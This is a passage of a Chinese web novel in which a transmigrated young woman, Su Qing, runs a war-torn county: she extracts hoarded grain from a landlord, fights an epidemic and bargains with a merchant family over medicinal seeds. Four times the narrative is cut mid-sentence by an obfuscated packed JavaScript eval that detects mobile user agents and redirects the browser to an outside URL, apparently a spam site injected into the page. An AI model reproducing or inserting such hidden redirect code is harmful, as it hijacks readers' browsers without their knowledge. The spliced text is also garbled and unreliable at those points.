“粮食要检查情况,可以有陈粮,但只能充作半数。” 衙门众人一一听令。 筹到这么多粮,谁人不听苏主事的。 她这一招实在厉害。 说话间,衙门书吏差役又回来了不少。 满打满算,竟然有六十多人。 南江县衙门,终于可以勉强运转。 战乱过后,可不光施粥一桩事,道路清扫,收敛无主尸体,样样需要人。 现在街上巡逻,衙门办差的,各房各司,各司其职。 唯有顾从斯一直紧皱眉头,等苏清终于能坐下来歇口气,他开口:“君子以思患而豫防之。” 刘小妹眼神崇拜地给苏清姐姐捧茶喝,根本没听到那个顾哥哥说什么。 苏清喝了茶,摸摸小妹脑袋,开口道:“什么?” 叽里咕噜的,说什么呢。 顾从斯重复一遍,苏清连蒙带猜听出来了:“意思是防患于未然?” 只见顾从斯点头。 苏清笑:“今日不得罪王乡绅,明日大家一起挨饿,我只能顾眼前。” “再说,世事无常,江那边还在打仗呢,谁知道会发生什么。” “即使明天他要报复,今日我也要好好活啊。” 说到这,苏清垂眼,手指摩挲茶杯。 她不由自主再次想到姥姥。 自从姥姥离世,她也没什么想做的事,浑浑噩噩过了四年大学生活,勉强毕业,又勉强找了份糊口的工作。 都说让她想开一点,姥姥活到八十五,其实是喜丧。 可她自从被姥姥捡回家抚养长大。 跟着姥姥给村里人看病,给牲畜看病。 还听姥姥讲她小时挨饿,躲鬼子,打仗,学写字,成了赤脚医生,遇到姥爷,姥爷病故的经历。 她只有姥姥一位亲人, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16279184|182472||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没了姥姥,像是浮萍,不知道怎么才是好好活。 穿越之后,脑子里的弦一直紧绷。 此刻稍稍歇口气,难免愣神。 苏清看了看自己的手。 姥姥好像以另一种形式陪伴着她。 姥姥的阅历,智慧,能力都陪伴自己。 不是她以为的,姥姥去世了,世界就没有其他可留恋的。 顾从斯盯着苏清沉默的表情,嘴唇紧绷。 好在苏清换了平时的笑,利落站起来:“走吧,看看施粥队伍。” 甚至开玩笑道:“这次好歹有几十万斤粮,总不像要饭的了吧。” 不过这点粮食,顶多够吃半个月的。 总觉得王乡绅家里还有囤货。 等把这个羊薅秃了,再找其他大户。 衙门门外,依旧排起长队。 看向苏清时,百姓人人称谢。 别看苏县令女儿年纪小,但她跟苏县令一样,都是好官! 苏清目光却一凝,看到施粥队伍里,一位抱着孩子的妇人猛烈咳嗽。 她不顾众人目光,快步走到那妇人身边。 妇人虽疑惑,却十分感激道:“多谢大姐儿,要不是你,我们哪能吃到粥,都知道那王乡绅吝啬,多亏你。” 背上的孩子也咿呀咿呀地说话。 苏清皱眉:“你咳了多久,之前有没有接触过什么不干净的东西,我要给你诊诊脉。” 妇人哪有不肯的。 苏清认真号脉,又听对方的经历,再看她舌红苔白,终于松口气:“是热咳,吃些黄芩、瓜蒌仁、浙贝母,抓药熬煮了即可。” 一听苏县令的女儿还会看病,排队的灾民立刻兴奋起来。 没等他们请求,苏县令女儿已经离开,直接去衙门大堂着急人手。 她此刻一脸严肃,对武捕头道:“把收敛尸体,清扫街道放在首位,不仅要清扫,还要消毒。” “再把县城所有大夫都找过来,战后多有瘟疫,如今天正热,更是疫病传播的时候,组织筹备药材,做好预防。” 之前只顾筹粮,竟把这等要事忘了。 武捕头知道事情严重性,立刻拱手去办。 疫病之事不能含糊,否则有再多粮都是枉然。 苏清深吸口气,她下意识看了看猛烈的日头。 农历六月,正是天气热的时候,战后的尸体还未收敛干净,正是病菌传播的时候。 希望是她多虑了。 粮食不够吃,疫病再起来,还要不要人活了。 5. 第 5 章 第5章 苏清紧急组织人手,提前预防疫病传播。 不仅要从源头查起,尤其是南江县的内河里的尸体,县城角落的无主尸首。 还有各类牲畜粪便以及死者衣物等等。 再有因天热腐败的食物都要及时清理。 最后更要撒了白醋或便宜白酒消毒。 南江县以内河分为东西两部分,平时以两座石桥来往通行。 苏清以此为界,把整个县城分为四个区域,吩咐手下逐一清理,务必把源头遏制住。 武捕头刚从街上回来,又接了新差事。 各房书吏也没想到,衙门事情本来就多,大姐儿又有新活吩咐。 衙门以前百十来号人,都有些忙不过来,如今只剩六十二人,却要承担之前几倍的工作量。 “菩萨都有几分脾气,拿我们当牲口使。”其中一个差役抱怨道。 另有文书问户房主事:“这几个月的俸禄能发吗?听说卖粮挣了些银子。” 户房主事摇头:“发不成。” “别惦记这个钱了,大姐儿要用这些买药材,给百姓们熬汤药。” “当然,不熬汤药,也不会发俸禄,衙门真没钱。” 什么?! 众人震惊,自动忽略下面一句话,只气恼衙门仅有的银子,还要买药材,熬汤药? “又是防治什么疫病?!” “战事都过去半个月了,要有疫病早有了!有钱不发俸禄,是想做什么?!” 本来只是衙门差役文书们抱怨几句。 传到王乡绅那边,便又换了口风,传到百姓耳中。 “苏县令的女儿不成事,好不容易弄来的粮食,她卖了一部分,要买药材熬汤药给我们喝。” “这不是好事吗?” “什么好事,我们又没生病。就算有个小病也能扛过去,但若没了粮食,我们真的活不成。” “是啊,这个时候了,还管什么汤药,应该留着粮食赈灾啊,撑不到秋收,大家都完了。” “女人家就是成不了事。” “前些日子看她问王乡绅要粮,挺厉害的啊。” “那她身边不是有顾秀才,肯定是顾秀才出的主意。” “让她别当家了,这么大个县城,她个女人肯定管不好。” 话再转到衙门,顾从斯颇为尴尬。 苏清倒是不意外,该来的总会来。 衙门内部的不满她也知道,不仅没钱,事还多。 好在他们按部就班把该做的都做了。 收敛起上百尸体,不仅有朝廷军的,也有叛军的。 “虽是叛军,却也是顺昌国某家儿郎。”苏清道,“记下特征,留下遗物,焚烧之后埋到一处。等战后再说吧。” 江那边还在打仗,绝不能故意侮辱敌军士兵尸体,否则只会激起对方更多血性。 “朝廷官兵的尸体,则要一一登记,尽量把特征遗物记录清楚,打了棺材选个合适的日子埋在西山,方便他们家人来寻。” “以后逢年过节,衙门都会祭祀。” 苏清说完,见手下众人并不接话,就知道大家的想法。 这般麻烦的事,根本没人想做。 武捕头擦擦头上的汗,他连日满县城跑,这般强壮的汉子,却已然精疲力尽。 苏清自己也没好到哪去。 衙门事多如牛毛。 一边赈灾,一边熬药赠药。 还有县城各处的搜查消毒,每个人都身兼数职。 只是这些事,都不得不做。 苏清揉揉太阳穴,转而问道:“衙门还剩多少粮,多少钱。” 户房主事答道:“六月二十一有余粮三十六万斤,十六万斤平价卖出。剩下的,一部分熬粥,一部分发给登记在册的民户,每日耗费一万斤。” “截止到今日六月二十七,余粮十三万斤。” “卖粮所得的九百六十两,买了柴火跟药材,只余一百六十两,这还未扣除给阵亡士兵买棺材的钱,就算要价便宜,总共也需五十两。” 也就是说,还有十三万斤粮,以及一百一十两银子。 约莫再支撑十三天。 户房主事忍不住道:“大姐儿,要不把赠药的事停了。咱们县里清扫的最干净,所有尸体都收敛了,各处也做了您说的消杀,不会有问题的。” 众人纷纷点头。 其实跟着苏县令女儿做事,大家刚开始是有不服。 但苏清不仅两次从王乡绅手中抠出粮食,而且明显能借着得民心的势,再抠出些粮。 加上她行事作风比她爹还利落,处理事情颇有些滴水不漏,大家心里暗暗服气的。 唯有这防治疫病,实在太耗银钱了。 战乱之前的南江县有钱,经得起这般折腾,如今不成的。 大家眼里带着希望,希望大姐儿能听劝。 苏清犹豫片刻,心里还有隐隐不安,再下决定:“不行,天气太热了,咱们行动本来就晚,还需多防范。” 听到这话,众人只得应下。 最后是醉醺醺的田县丞赶来为老友之女解围。 他领了尸体或焚烧,或埋葬的差事。 苏清十分感激,田县丞家人全无,整日靠饮酒度日。 若不是见她为难,估计也不会主动揽下。 “大家略歇一歇,过几日会好的。”苏清也不敢许什么诺,只得含含糊糊讲了。 等其他人走的七七八八。 顾从斯道:“你还要去王乡绅家?” 也就他听出苏清的意思,过几日再去一次王家,便能缓解衙门的尴尬。 苏清点头。 不过那王乡绅肯定早有防备。 只看最近的流言蜚语即可。 这次去要粮,只会极为艰难。 总要想个由头才是。 再者,她总觉得。 王乡绅家的粮,比大家预估的要多。 她怀疑,去年卖给叶家的粮根本没拉走,还在王家某个地方藏着。 别说什么卖给叶家就是他们的了。 南江县百姓都要饿死了,这粮便是百姓的。 如今接济的只是县城百姓,下面四乡二十村的消息,还没机会过问。 这粮既是本地百姓种的,就不能放出去。 至于叶家。 现在兵荒马乱的,难道还能赶来收粮不成。 也太财迷心窍了。 等时局平稳,自然给他家补上。 苏清心里盘算,外面传言愈演愈烈。 多是讲苏清做事不稳,难堪大任。 还有让她退位让贤。 更把她的功劳张冠李戴到顾从斯身上,无论顾从斯怎么解释,都没人相信苏清有这能力。 “无非是王乡绅那边挑拨。”苏清对顾教谕道,“你也不必忧心,不过这事也不是办法。” “要不然把王乡绅请到衙门,好好议一议。” 顾教谕最不想让顾从斯掺和这些事。 更不想让他得罪王乡绅,能从中说和,肯定是好的。 六月三十日下午,王乡绅姗姗来迟。 他看了眼衙门门口施粥领米赠药队伍,嘴角抽搐。 都是他的钱! 知道这些粮食在江南能卖多少钱吗! 白白给了这些穷鬼。 衙门书房,苏清,刘小妹,武捕头已然坐定,下面还有大小书吏差役。 顾从斯犹豫片刻,还是来了,虽不想抢苏清风头,可他又担心出岔子。 人人都知道,这是王乡绅的回击。 这次谈得好了,县里那些谣言自然烟消云散。 谈的不好,更有难听话等着苏清。 王乡绅到了书房,还笑着道:“你爹在时也请我来过,没想到啊,时过境迁,竟然是你了。” 话里的贬义不言而喻,苏清眼睛微抬,开口便是:“最近县 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16279185|182472||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里都说,想让我退位让贤,主动辞了衙门主事的差事。” 众人一惊。 如此开门见山?! “晚辈细细想来,整个县城里,只有一个人合适。”苏清站起来,给王乡绅做了个礼,“只有您能掌管这偌大的南江县。” “以后不仅是粮食买卖,各行各业,您都可以管。” “还有衙门六十多官吏,只有您可以。” 苏清一边说,一边拿出县印,托在王乡绅眼前:“有了它,想做什么都可以。” “大家都劝我不要赠药,我不是还在做?” “还有那么多粮食,说给百姓就给了,今日一天一万斤,明日便是两万斤。还有下面各村百姓,同样有救济可领,那该是多少粮食,多少银子。” 王乡绅眼皮一颤,明显意动。 但他又明白,苏清故意如此,好让他出丑,当下摸摸胡子:“小人可没那么大魄力,小人的粮食全拿出来,也不够挥霍的啊。” “哎,我也想挥霍,要是能挥霍个把月,也成了。” 王乡绅听此,轻蔑一笑。 个把月? 小小女子,只敢这样想。 下一瞬,王乡绅表情凝固,苏清转而狂喜。 有了! 王乡绅家里果然有囤粮! 必是那叶家寄存在他那的! 苏清强忍着笑着,嘴角却忍不住上扬:“咱们早就撕破脸了,我想要什么,王乡绅很明白,而且我自会取的。” 两人的交锋看的众人眼晕。 等苏清说完,武捕头等人反应过来。 王乡绅家的粮食,足够“挥霍”,故而他才对苏清口中的话不屑一顾! 王家到底囤了多少粮? 不说施粥了,为什么不放到市面上去卖。 如今各种粮食价格极高的。 苏清解答他们的疑惑:“南江县的粮价再贵,能贵的过京城,以及金陵一带?” 王家囤积粮食,是要卖到其他地方。 至于本地百姓死活,本地百姓能不能熬到秋收,关他何事。 只要这事成了,必然发一笔国难财。 再者,他手里那么多粮,真要放出来,本地粮食价格则会下降。 王家怎么甘心少赚钱! 原本觉得王乡绅被苏清逮着薅的众人怒了。 他竟藏着这样的祸心。 消息放出去,不用苏清动手,便有义民冲到王家抢粮。 “你,你!苏清!你要是敢说出去,你不得好死!”王乡绅已然暴怒,“这大部分粮食都是叶家寄存的,叶家为皇商,你敢动他家的粮食吗?!” “江南叶家说话间就到,到时候没了粮,谁能交差?” “尤其是你,你替你爹掌印,于理不合,治个不遵礼法的罪,你家要如何?” 苏清反而笑,不用武捕头护在身前,笑眯眯道:“既如此,您若恨我,就很该把粮食给我的。” “到时候让叶家收拾我,如何?” 王乡绅恨不恨苏清,自不用说。 但哪有自己出主意坑自己的。 顾从斯嘴唇颤动。 这般魄力,他怎么可能做得到。 世人实在高看他,低看苏清。 苏清心道,谁知道叶家什么时候来,粮食先弄到手再说其他。 书房内气氛紧张,门房小子云喜恰好闯进来,面带喜色:“大姐儿!来领汤药的百姓突然增多了许多!人人都夸你有先见之明,都夸你是广乐府最好的衙门主事!” 苏清扭头:“为何?” “右码头那边传的消息,说广乐府沿途各县多多少少都有疫病,唯独咱们这是最安全的。” “多亏您提前预防得好。” 苏清看向窃喜的王乡绅,当机立断:“武捕头,你带姓王的去王家运粮。” “能运出多少是多少。” “我去右码头,迎江南叶家收粮的人。” 6. 第 6 章 第6章 “外来人员暂时不能入城。”差役道,“要是把外面的疫病带过来,我们南江县百姓怎么办。” “至少吃三日汤药,确定没有病症,方可下船。” “不按规定的做?那就不要停靠,赶紧离开。” 南江县依江而建,故而修建了船运码头。 又因江水支流从县内穿过,从而在岔口分了左右两个码头。 左边码头多是小货商聚集,物件多而杂乱,很是热闹。 右边码头则较为沉默,都是大货船停靠,相对来说更有规矩,也更沉闷。 自从南江县被叛军占城后,基本没有商船再靠岸,不管左码头还是右码头,都显得十分冷清。 今日六月三十,右码头倒是多了三艘商船,载满沿途货物,在南江县岸边停靠。 一时间县城大小店铺老板都凑过来,看看有没有能买的货物。 南江县情况好了不少,大家都需要各类商品。 但跟疫病相比,那还是命重要。 苏主事都说了,让他们确定没有病症了再做买卖。 若不听话,广乐府其他各县就是例子! 听说那锦洮县因战后瘟疫死了上百人。 “这就是你说的迎接?”顾从斯颇有些震惊。 苏清却道:“来的也太快了,完全不给反应的时间。” 虽不给时间,你却争取了。 顾从斯跟叶家商船上的人有着同样的想法。 苏清给的理由合情合理。 叶家船员听说南江县并无疫病,难免多几分理解。 更别说,差役们发下来的汤药,确实是强身健体,预防疫病的。 吃人家嘴短,哪能说什么。 南江县百姓更不用讲,恨不得让他们再停几日,确定没有一丝病气再下船。 这些人敢直接下船,他们能直接把人扔回水里。 直到七月初四。 户司主事高高兴兴来报:“苏主事,那王家囤粮一万八千石,咱们搬来了一万五千。” “已经妥帖存放各处,这是明细。” 苏清仔仔细细看了。 粮食多为小麦小米高粱各类豆子。 基本都是去年收的粮。 因顺昌国内乱,没能及时运出。 王乡绅王唤借着内乱,又收了不少,囤积了两万多石粮。 就算在南江县最艰难的时候,他也没有透露一丝风声。 朝廷总兵带兵平乱,也没有拿出来。 为的是借机赚取高价。 百姓死不死,救他的士兵死不死。 跟他一毛钱关系都没有。 “狗咬皮影子,没一点人味。”武捕头骂道。 苏清微微点头:“还是按照之前的做法,平价放到市面一部分,剩下的按照各家情况赈灾。” “上户不给,中户少给,下户多给。” “还有,四村二十乡的情况,也要摸清楚,尽快报上来,看看他们的损失。” “衙门诸位辛苦了,先给大家发这个月的米粮,月俸等粮食卖出便给。” 太好了! 终于发俸米了! 连日来的辛苦一扫而空。 家人可以吃顿饱饭了! 衙门上下欢喜鼓舞。 经历最近种种。 不管是问王乡绅“借粮”,还是未雨绸缪防治疫病。 苏主事的本事,每一个不服的。 现在连俸禄都能发出了,衙门谁人不心服口服。 衙门高兴。 从码头出来的叶管家心情不怎么美妙。 江南一路过来。 收粮堪称顺利。 不管各地衙门有没有停摆,疫病严不严重,都不影响他们收粮的进度。 只有南江县不同。 偏偏他们在南江县寄存的粮食不算少。 不管是寄存在王唤家的一万六千石粮,还是这家要卖给他们的四千石,转转手便能赚的盆满钵满。 现在全都落空。 管家身边的叶大公子反而笑眯眯的:“走吧,去会会本地的女县官。” 叶家接到王唤的信,说了本地县令之女挟民要粮的事。 叶山鸣便加急步伐来南江县运粮。 没想到人家另有手腕。 衙门书房,苏清刚看完安葬敌我士兵的事宜,田县丞安排的事无巨细,她很是放心。 刚放下文书,就听云喜来报:“大姐儿,叶家大少爷来了!” “他说要状告王唤王乡绅,只因寄存在王家的粮食不见了,让王唤赔钱!” 田县丞跟顾从斯都看过来。 办差时的田县丞已经没了酒气,把身心都投入到差事里,气色反而好些。 苏清挑眉,这是告王乡绅吗,这分明是告她。 苏清让三人不用慌张:“请叶公子外厅一见。” 该来的总会来。 跟着叶家大公子一起来的,还有“被告”王唤王乡绅。 王乡绅眼神堪称恶毒,又不乏带了窃喜。 叶家来的是叶家大少爷叶山鸣,他从小跟着祖父做买卖,今年不过二十二已然是半个当家人。 苏清必被吃得骨头都不剩。 今年不到十六的苏清看着十分清瘦,又因连日劳累,难免多了疲惫。 唯有眼睛炯炯有神,让人忍不住多看。 叶山鸣开口,颇有些调笑的意思:“小民是否该行见长官之礼?” 苏清指了指顾从斯:“这是位秀才,可以行见秀才的礼。” 叶山鸣还真故作庄重的行了个礼,显得尤为滑稽,对苏清这里反而一如寻常。 众人坐定,聊的自然是粮食的事。 不管王唤在那如何声嘶力竭,说那是他辛辛苦苦攒的粮食,是他多年的积累。 又说自己家业不易,官府不该这般欺压。 苏清表情淡定,等他终于喘口气,她开口道:“我可以把粮给你。” 王唤一愣。 “用你家田地来换。” “外面的小米为十五文一斤,上等土地一两一亩,我跟你换。” 小米正常价格,差不多是二到四文一斤。 上等土地最少也要三两一亩。 苏清提出的这个方法,就是高价卖粮,低价收地。 这些所谓的家业,就是用这高卖低收的法子。 他们所谓的经营,万变不离其宗。 以信息差跟蛮横财力暴力,让人不得不贱卖田地,高价买粮。 若无苏清及时整顿南江县。 王乡绅王唤早就用这招,继续扩张自己的土地。 如今被反问,他直接闭嘴。 谁都知道这买卖不划算。 “事情不能这么说。”叶山鸣故意笑道,“女县官好威风,我等小民都怕了。” 苏清还以笑脸,眼里带着溢出来的笑意:“哪里是什么女县官,只是替父亲办差,以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“南江县想做药材种植。”苏清道,“需要大量药材种子,以及药材渠道。” 不等叶山鸣说话,苏清指了指江对岸:“那边还在打仗,没个三年五载,停不下来。” 处在江对岸,已然平安的南江县,是最好的后勤处。 倘若这里把药材种成了,军中后勤采购,想必绕不开此地。 打仗,怎么可能不缺药。 跟军中打好关系,这可比那些粮食更重要,更长远。 若真能促成,粮食确实可以放一边。 苏清竟是个真正的谈判高手。 叶山鸣坐直身体,目光再无轻佻。 他身后的管家同样正视苏清。 “好买卖,我投了,我入股。”叶山鸣直接道。 苏清再次拒绝:“没有这种事,让你家垄断,本地百姓日子还过不过了。” 苏清说的极为直白:“我是想让你采购药材种子,做其中运输的银子。” “当然,你也可以拒绝。” “只是其中利润之大,想必你也清楚。” “再者,若无药材买卖,只怕南江县还不起叶家那么多粮啊。” 别管她是不是耍无赖,就问这一招有没有用吧! 7. 第 7 章 第7章 离开南江县的叶山鸣饶有兴味看着衙门方向。 粮食未收到,还被派了活。 一分钱定金也没有,就要帮南江县采买药材种子。 苏清也不客气,直接拉了个长清单。 皆是止血化瘀的药。 等把这些药材种成了,南江县百姓的苦日子才能缓解些。 商船渐渐离岸。 带来的货物给南江县填充了活力。 南江县县城,逐步恢复日常生活。 唯一有苦难言的,大约就是王乡绅王唤。 但他做了什么,县里人人都明白,最近已经不敢上街了。 指望借叶家的刀杀人,也全然落空好。 只得在心里暗恨,却也没有办法。 七月初九,苏清拿到下面四乡二十村的情况。 除了久避山里的村落,其他各村多少都闹粮荒。 还有不少农户的儿郎被叛军强征入伍,至今下落不明。 顺昌国共有二十六个州府,下面以乡,里,村,划分。 各地情况略有不同。 广乐府南昌县这里,分东西南北四个乡,一乡有五个村,以各村推举,以及官府任命的乡长为首。 自六月初七结束战乱。 到现在七月初九,乡长等人也派人送信过来。 不过知道如今衙门主事是个女子,便不再联络,直等苏清再派人过去。 衙门差役有三件事要吩咐。 一,统计各村受灾情况,家里人口财物损失,各家情况再次统计上报。 二,有无借机敛财的,倘若趁着兵乱低价收购土地,并无上报官府者,统统不作数,必须官府查验过买卖公平,再来官府签契凭。 三,被叛军强征,又或者自愿投军的男丁家人,必须说明情况,官府会在七月二十左右,报给前线,方便寻找亲人下落。 说白了,重新清查人口户口,既能加强治安,又能了解本地情况。 还有借着乱子敛财的大户,都要把银钱土地吐回去。 最后也是许多人家焦急的,联系在前线的士兵。 四个乡长观望到现在,多半知道苏清虽是女子,能力却不俗。 加上人人都知道,苏清已经问江南粮商借了几百万斤的粮,既抑制了本地粮价,还能腾出手赈灾。 这般情形下,还是愿意做事的。 武捕头为此事来回奔波。 这并非他的职责,一定要说,反而是苏清逃跑的典吏三叔的差事。 但他恨不得明日就把士兵情况统计清楚。 只有这样,才能一齐报给军中,好早日知道两个儿子的下落。 他跑得勤,催得紧,竟然在七月十五就把全县士兵情况统计好了。 苏清还在看各村受灾情况。 跟顾从斯,田县丞一起分配赈灾粮食,统计全县房屋被烧毁情况,以及派大夫去各村消毒赠药。 武捕头虽知苏清身上事情多,却忍不住打断:“苏主事,四个乡共有两千七百多男丁被叛军逼着入伍,上到五十六,下到十四五的都有。” “还有三百多儿郎自愿投军。” “现在都不知下落。” 苏清放下账簿,再去看武捕头手里的册子。 四乡各有贫富,之前总人口有十六万,如今只剩十四万多。 其中越是富裕的地方,人口和房屋流失最为严重,粮食被抢的也更多。 唯有最穷的西乡躲过一劫。 各种统计交叉来看,苏清对下面情况大致有了了解。 “兵房主事亡故,现在是副手掌管,我已经让他以南江县军政之名联系江对岸的驻军。”苏清道,“把这份人员名单抄录一份递过去,军中自会有消息。” 不止后方的家人期盼知道军中儿郎们的消息。 士兵们同样盼着家中亲人情况。 先知道家人在惦念,再由军中统一寄信回来,比一个一个找,要快的多。 “对了,还有此地阵亡士兵掩埋名册,同样递过去。” 武捕头连连点头:“我立刻去办。” 看着武捕头离开,田县丞欲言又止。 苏清也有些头疼。 顾从斯道:“怎么了?有什么不对?” “害怕。”苏清继续翻之前的账簿。 顾从斯不解,还有苏清怕的? “怕这一联系上了,前面问咱们要粮。” 以前互不打扰,大家没什么联系。 现在有了关联,难免问他们要粮要补给。、 不是不能给。 但她想给的是药材啊。 药材种子都没来呢。 跟军中的接洽,出乎意料地顺利。 似乎是给阵亡士兵买棺材掩埋的事,让前线将军十分感激。 南江县士兵名单,已经发到各路参将手中,会有专门的人联系士兵,倒时候会寄信回来。 但凡正规军中,都会有专门的后勤部门来做此事。 故而名单能送过去,便不会食言。 武捕头长长舒口气。 武娘子还专门备了果子送到梅娘手中,特意谢了苏主事从中周旋。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16279187|182472||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>梅娘又送了回礼过去,自不必说。 苏清这里终于能歇口气。 她给衙门诸人补发了两个月俸禄后,便回到后宅睡了五六个时辰。 起床时,梅娘热好了果子,让女儿先垫一垫。 苏清吃了两口,又看到桌子上另一匣子糕点:“这又是谁送的。” 梅娘犹豫片刻:“顾秀才拿来的,说码头又来了商船,带了时兴的点心。” 提起这个,梅娘想到相公生前的打算。 虽说战乱一来,一切都有了变数,以后如何谁都不知。 但还是同女儿讲清楚的好。 “什么?!”苏清震惊。 怪不得她刚来那会,跟顾从斯独处,顾教谕那么不高兴。 原来她爹走之前,跟顾家有意结亲。 顾教谕那会同样有想法。 但苏县令离世,此事自不再提。 苏清震惊片刻,干脆道:“都过去了,只当不知道好了。” 苏清拍拍乐呵呵吃糕点苏澄脑袋,继续去前头办差。 要找个机会去乡下看一看。 看不到情况,心里总不踏实。 还要找人把官田整理出来,到时候药材种子运来,便能立即种植。 根据药材品种不同,种植地方也有差别。 尤其是墨旱莲等止血药,在水边沟边存活率才高。 苏清心里有盘算,看到顾从斯一如往常。 说到要去乡下看看时,苏清转而道:“我同田县丞一起。” 田县丞今年四十九,是苏县令老友,苏清私下也喊一句田伯伯的,一起去更方便。 顾从斯一顿,微微点头。 以前事情多而杂,大家都不说什么。 这几日闲了些,顾教谕多有吩咐。 去乡下之前,又收到府城那边的情况。 怪不得府衙一直没联系他们下面,原来广乐府先知府卸任后,一直没人顶上这个缺,那边是个群龙无首的状态。 苏清并未再讲。 只是觉得,朝廷情况或许比她想象中要遭的多。 “走吧,先去西乡跟北乡看看。” 顾从斯看向苏清背影,回到县学没读进去书。 直到七月二十五,右码头传来叶家商船的消息。 “药材种子到了!” 顾从斯立刻牵了马匹:“我去报给苏清。” “她一直挂念。” 果然,西北两乡已经查看完毕的苏清听到消息,恨不得第一时间回县里。 药材种子! 她立刻去种! 8. 第 8 章 第8章 “西北两乡情况怎么样。”顾从斯主动问道。 提起这个,苏清稍稍摇头。 西乡跟北乡距离江边最近,被叛军祸害的也最厉害。 那叛军首领见南江县守不住,便纵容手底下士兵肆意烧杀抢夺,以此作为士兵追随的奖励。 临走之前,不仅烧毁两乡无数房屋,还把地里庄稼一把火烧了。 不少村民为了抢救田地,被活活烧死。 这些事已经在乡长文书上看过一遍,但亲眼目睹,只会更加叹息。 苏清手里虽有不少粮食。 却也解决不了那么多人的困境。 不说旁的。 叶家送来的药材种子,只等着他们结账。 要是再有一个王乡绅就好了。 说不定能填一填亏空? 可惜了。 叛军走过,任谁都要穷上几分,没有那么好的事。 顾从斯认真听着,多是苏清在讲。 终于回到县里。 苏清直接去了右码头。 工房主事见苏清来了,抱怨道:“苏主事,船工们都喊着码头淤泥太多,不好靠岸,让我们赶紧清一清淤泥。否则都要涨价。” 江边码头容易冲积淤泥。 一般两三年清一次。 今年春天本应组织清理,发生什么大家都明白,所以耽搁了。 苏清道:“迟了半年,就不能停靠了?” “告诉他们,爱停不停。” 工房主事知道苏主事不听人胁迫,但又怕那船真的走了,只好前去协商。 苏清笑,她确实故意这样讲。 总不能事事让她周旋吧。 折腾到傍晚,叶家船只才愿意靠岸。 想来多跟衙门挪用他们粮食有关。 这次押船的,正是叶大少爷叶山鸣身边的叶管家,对苏清鼻子不是鼻子,眼睛不是眼睛。 在南江县收粮不成,大少爷被家主责问,皆因苏清。 叶山鸣不在,他说话最顶事,必要为难几分。 苏清只当不知道,拆开物资清单来看。 谁料清单里掉出一张浅色信纸,上面写道:“女县官列的清单太长,先送十二种,剩下的年前送到,记得付定金。粮食卖了不少,应该够付。其他种种,叶某铭记于心。” 这甚至不能称之为信,只是简短几句话,偏偏称呼还很正式,两者对比显得更为轻佻。 顾从斯眉头紧皱:“轻浮狂浪。” 好人家谁用这样的纸写信。 苏清只略略看了,随手递给刘小妹,专心查看种子货单,没留神纸条被顾从斯接过,回去便烧了个干净。 其中重点标注的五个种子都在,苏清松口气。 这茜草、墨旱莲、地榆、紫珠、地锦,都是八九月能种,十二月中旬前能收获的。 尤其是紫珠草,每家药行必备,种出来就不愁没销路。 苏清让赶来户房主事一一清点药材,再让田县丞拟文,发公文到县城,各乡。 鼓励有余力,或者庄稼被毁的农户,签订契约,种植药材。 衙门将种子赊给农户,并教他们草药种植方法。 这期间会时时查看,若有故意不种,懒惰糊涂的,都会被差役鞭打。 种成之后,衙门再统一以市价进行回购,倘若有高出市价的货商,他们可以自行买卖。 总之怎么看,都是不愧的差事。 还能在年前赚钱银子。 此时,苏县令以前的好声誉,加上苏清最近以来的行事风格。 南江县十几万百姓,多都踊跃报名。 等各乡领了种子后,剩下的药材种子,衙门则雇佃农在官田种植。 叶管家在南江县停留不过五日,只觉得那女子行事利落,眨眼间便把事情安排妥当,更加看不惯她。 苏清早把这些事抛到脑后,组织人手种药材之外,还要通过记忆,把这些药材特性写下来,便于种植培育。 等抽出时间,让武捕头雇佣民夫给码头清淤。 左右码头都要把淤泥挑出来,方便商船出入。 叶管家的船只刚离岸,事情便在做了。 瞪得叶管家眼睛凸起,半日说不出话,气的像个癞蛤蟆。 叶管家低声对身边人说了什么。 不多时,商船上放下一艘小船。 上面仅有一位船夫,还有一家三口,三口人衣着破烂,频频看向南江县,恨不得早日上岸。 等这些事差不多了了,苏清看着账簿呲牙,太花钱了! 样样事都要花钱,还是再砍几处开支的好。 衙门也不招人了,再招人发不起俸禄。 武捕头颇有些为难。 他已经身兼数职了,还不招人。 按理说那码头清淤的事,除了工房主事去做之外,还是典吏的差事,他都在做啊。 